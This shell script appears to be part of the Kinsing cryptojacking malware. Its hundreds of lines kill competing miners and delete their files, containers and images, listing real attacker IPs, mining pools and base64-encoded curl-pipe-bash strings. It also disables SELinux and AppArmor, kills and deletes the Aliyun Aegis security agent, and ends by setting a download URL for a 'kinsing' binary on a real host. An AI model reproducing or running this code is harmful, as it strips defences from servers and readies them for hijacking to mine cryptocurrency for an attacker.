    netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :14444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :14433 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :13531 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    cat /tmp/.X11-unix/01|xargs -I % kill -9 %
    cat /tmp/.X11-unix/11|xargs -I % kill -9 %
    cat /tmp/.X11-unix/22|xargs -I % kill -9 %
    cat /tmp/.pg_stat.0|xargs -I % kill -9 %
    cat /tmp/.pg_stat.1|xargs -I % kill -9 %
    cat $HOME/data/./oka.pid|xargs -I % kill -9 %
    pkill -f zsvc
    pkill -f pdefenderd
    pkill -f updatecheckerd
    ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
    ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
    ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux| grep "sleep 60"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps aux| grep "./crun"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -vw kdevtmpfsi | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi|grep -v postgresq1 | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "[email protected]" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
    netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    systemctl stop c3pool_miner.service
    pkill -f pastebin
    pkill -f ssh-agent
    pkill -f 185.193.127.115
    pgrep -f monerohash | xargs -I % kill -9 %
    pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
    pgrep -f xzpauectgr | xargs -I % kill -9 %
    pgrep -f slxfbkmxtd | xargs -I % kill -9 %
    pgrep -f mixtape | xargs -I % kill -9 %
    pgrep -f addnj | xargs -I % kill -9 %
    pgrep -f 200.68.17.196 | xargs -I % kill -9 %
    pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
    pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
    pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
    pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
    pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
    pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
    pgrep -f mqdsflm.cf | xargs -I % kill -9 %
    pgrep -f stratum | xargs -I % kill -9 %
    pgrep -f lower.sh | xargs -I % kill -9 %
    pgrep -f ./ppp | xargs -I % kill -9 %
    pgrep -f cryptonight | xargs -I % kill -9 %
    pgrep -f ./seervceaess | xargs -I % kill -9 %
    pgrep -f ./servceaess | xargs -I % kill -9 %
    pgrep -f ./servceas | xargs -I % kill -9 %
    pgrep -f ./servcesa | xargs -I % kill -9 %
    pgrep -f ./vsp | xargs -I % kill -9 %
    pgrep -f ./jvs | xargs -I % kill -9 %
    pgrep -f ./pvv | xargs -I % kill -9 %
    pgrep -f ./vpp | xargs -I % kill -9 %
    pgrep -f ./pces | xargs -I % kill -9 %
    pgrep -f ./rspce | xargs -I % kill -9 %
    pgrep -f ./haveged | xargs -I % kill -9 %
    pgrep -f ./jiba | xargs -I % kill -9 %
    pgrep -f ./watchbog | xargs -I % kill -9 %
    pgrep -f ./A7mA5gb | xargs -I % kill -9 %
    pgrep -f kacpi_svc | xargs -I % kill -9 %
    pgrep -f kswap_svc | xargs -I % kill -9 %
    pgrep -f kauditd_svc | xargs -I % kill -9 %
    pgrep -f kpsmoused_svc | xargs -I % kill -9 %
    pgrep -f kseriod_svc | xargs -I % kill -9 %
    pgrep -f kthreadd_svc | xargs -I % kill -9 %
    pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
    pgrep -f kintegrityd_svc | xargs -I % kill -9 %
    pgrep -f jawa | xargs -I % kill -9 %
    pgrep -f oracle.jpg | xargs -I % kill -9 %
    pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
    pgrep -f 188.209.49.54 | xargs -I % kill -9 %
    pgrep -f 181.214.87.241 | xargs -I % kill -9 %
    pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
    pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
    pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
    pgrep -f servim | xargs -I % kill -9 %
    pgrep -f kblockd_svc | xargs -I % kill -9 %
    pgrep -f native_svc | xargs -I % kill -9 %
    pgrep -f ynn | xargs -I % kill -9 %
    pgrep -f 65ccEJ7 | xargs -I % kill -9 %
    pgrep -f jmxx | xargs -I % kill -9 %
    pgrep -f 2Ne80nA | xargs -I % kill -9 %
    pgrep -f sysstats | xargs -I % kill -9 %
    pgrep -f systemxlv | xargs -I % kill -9 %
    pgrep -f watchbog | xargs -I % kill -9 %
    pgrep -f OIcJi1m | xargs -I % kill -9 %
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f devtools
    pkill -f systemctI
    pkill -f watchbog
    pkill -f cryptonight
    pkill -f sustes
    pkill -f xmrig
    pkill -f xmrig-cpu
    pkill -f 121.42.151.137
    pkill -f sysguard
    pkill -f networkservice
    pkill -f sysupdate
    pkill -f phpguard
    pkill -f phpupdate
    pkill -f networkmanager
    pkill -f /tmp/init12.cfg
    pkill -f kieuanilam.me
    pkill -f init12.cfg
    pkill -f nginxk
    pkill -f tmp/wc.conf
    pkill -f xmrig-notls
    pkill -f xmr-stak
    pkill -f suppoie
    pkill -f zer0day.ru
    pkill -f dbus-daemon--system
    pkill -f nullcrew
    pkill -f systemctI
    pkill -f kworkerds
    pkill -f init10.cfg
    pkill -f /wl.conf
    pkill -f crond64
    pkill -f sustse
    pkill -f vmlinuz
    pkill -f exin
    pkill -f apachiii
    rm -rf /usr/bin/config.json
    rm -rf /usr/bin/exin
    killall log_rot
    pkill -f log_rot
    rm -rf /tmp/wc.conf
    rm -rf /tmp/log_rot
    rm -rf /tmp/apachiii
    rm -rf /tmp/sustse
    rm -rf /tmp/php
    rm -rf /tmp/p2.conf
    rm -rf /tmp/pprt
    rm -rf /tmp/ppol
    rm -rf /tmp/javax/config.sh
    rm -rf /tmp/javax/sshd2
    rm -rf /tmp/.profile
    rm -rf /tmp/1.so
    rm -rf /tmp/kworkerds
    rm -rf /tmp/kworkerds3
    rm -rf /tmp/kworkerdssx
    rm -rf /tmp/xd.json
    rm -rf /tmp/syslogd
    rm -rf /tmp/syslogdb
    rm -rf /tmp/65ccEJ7
    rm -rf /tmp/jmxx
    rm -rf /tmp/2Ne80nA
    rm -rf /tmp/dl
    rm -rf /tmp/ddg
    rm -rf /tmp/systemxlv
    rm -rf /tmp/systemctI
    rm -rf /tmp/.abc
    rm -rf /tmp/osw.hb
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/.java
    rm -rf /tmp/.omed
    rm -rf /tmp/.tmpc
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/gates.lod
    rm -rf /tmp/conf.n
    rm -rf /tmp/update.sh
    rm -rf /tmp/devtool
    rm -rf /tmp/devtools
    rm -rf /tmp/fs
    rm -rf /tmp/.rod
    rm -rf /tmp/.rod.tgz
    rm -rf /tmp/.rod.tgz.1
    rm -rf /tmp/.rod.tgz.2
    rm -rf /tmp/.mer
    rm -rf /tmp/.mer.tgz
    rm -rf /tmp/.mer.tgz.1
    rm -rf /tmp/.hod
    rm -rf /tmp/.hod.tgz
    rm -rf /tmp/.hod.tgz.1
    rm -rf /tmp/84Onmce
    rm -rf /tmp/C4iLM4L
    rm -rf /tmp/lilpip
    rm -rf /tmp/3lmigMo
    rm -rf /tmp/am8jmBP
    rm -rf /tmp/tmp.txt
    rm -rf /tmp/baby
    rm -rf /tmp/.lib
    rm -rf /tmp/systemd
    rm -rf /tmp/lib.tar.gz
    rm -rf /tmp/baby
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.mynews1234
    rm -rf /tmp/a3e12d
    rm -rf /tmp/.pt
    rm -rf /tmp/.pt.tgz
    rm -rf /tmp/.pt.tgz.1
    rm -rf /tmp/go
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.tmpnewasss
    rm -rf /tmp/java
    rm -rf /tmp/go.sh
    rm -rf /tmp/go2.sh
    rm -rf /tmp/khugepageds
    rm -rf /tmp/.censusqqqqqqqqq
    rm -rf /tmp/.kerberods
    rm -rf /tmp/kerberods
    rm -rf /tmp/seasame
    rm -rf /tmp/touch
    rm -rf /tmp/.p
    rm -rf /tmp/runtime2.sh
    rm -rf /tmp/runtime.sh
    rm -rf /dev/shm/z3.sh
    rm -rf /dev/shm/z2.sh
    rm -rf /dev/shm/.scr
    rm -rf /dev/shm/.kerberods
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    chattr -i /etc/ld.so.preload
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    rm -rf /tmp/watchdogs
    rm -rf /etc/cron.d/tomcat
    rm -rf /etc/rc.d/init.d/watchdogs
    rm -rf /usr/sbin/watchdogs
    rm -f /tmp/kthrotlds
    rm -f /etc/rc.d/init.d/kthrotlds
    rm -rf /tmp/.sysbabyuuuuu12
    rm -rf /tmp/logo9.jpg
    rm -rf /tmp/miner.sh
    rm -rf /tmp/nullcrew
    rm -rf /tmp/proc
    rm -rf /tmp/2.sh
    rm /opt/atlassian/confluence/bin/1.sh
    rm /opt/atlassian/confluence/bin/1.sh.1
    rm /opt/atlassian/confluence/bin/1.sh.2
    rm /opt/atlassian/confluence/bin/1.sh.3
    rm /opt/atlassian/confluence/bin/3.sh
    rm /opt/atlassian/confluence/bin/3.sh.1
    rm /opt/atlassian/confluence/bin/3.sh.2
    rm /opt/atlassian/confluence/bin/3.sh.3
    rm -rf /var/tmp/f41
    rm -rf /var/tmp/2.sh
    rm -rf /var/tmp/config.json
    rm -rf /var/tmp/xmrig
    rm -rf /var/tmp/1.so
    rm -rf /var/tmp/kworkerds3
    rm -rf /var/tmp/kworkerdssx
    rm -rf /var/tmp/kworkerds
    rm -rf /var/tmp/wc.conf
    rm -rf /var/tmp/nadezhda.
    rm -rf /var/tmp/nadezhda.arm
    rm -rf /var/tmp/nadezhda.arm.1
    rm -rf /var/tmp/nadezhda.arm.2
    rm -rf /var/tmp/nadezhda.x86_64
    rm -rf /var/tmp/nadezhda.x86_64.1
    rm -rf /var/tmp/nadezhda.x86_64.2
    rm -rf /var/tmp/sustse3
    rm -rf /var/tmp/sustse
    rm -rf /var/tmp/moneroocean/
    rm -rf /var/tmp/devtool
    rm -rf /var/tmp/devtools
    rm -rf /var/tmp/play.sh
    rm -rf /var/tmp/systemctI
    rm -rf /var/tmp/update.sh
    rm -rf /var/tmp/.java
    rm -rf /var/tmp/1.sh
    rm -rf /var/tmp/conf.n
    rm -r /var/tmp/lib
    rm -r /var/tmp/.lib
    rm -rf /tmp/config.json
    chattr -iau /tmp/lok
    chmod +700 /tmp/lok
    rm -rf /tmp/lok
    #yum install -y docker.io || apt-get install docker.io;
    docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
    docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
    setenforce 0
    echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    service aliyun.service stop
    systemctl disable aliyun.service
    ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
    rm -rf /usr/local/aegis
    
    
    BIN_MD5="648effa354b3cbaad87b45f48d59c616"
    BIN_DOWNLOAD_URL="http://194.40.243.167/kinsing"
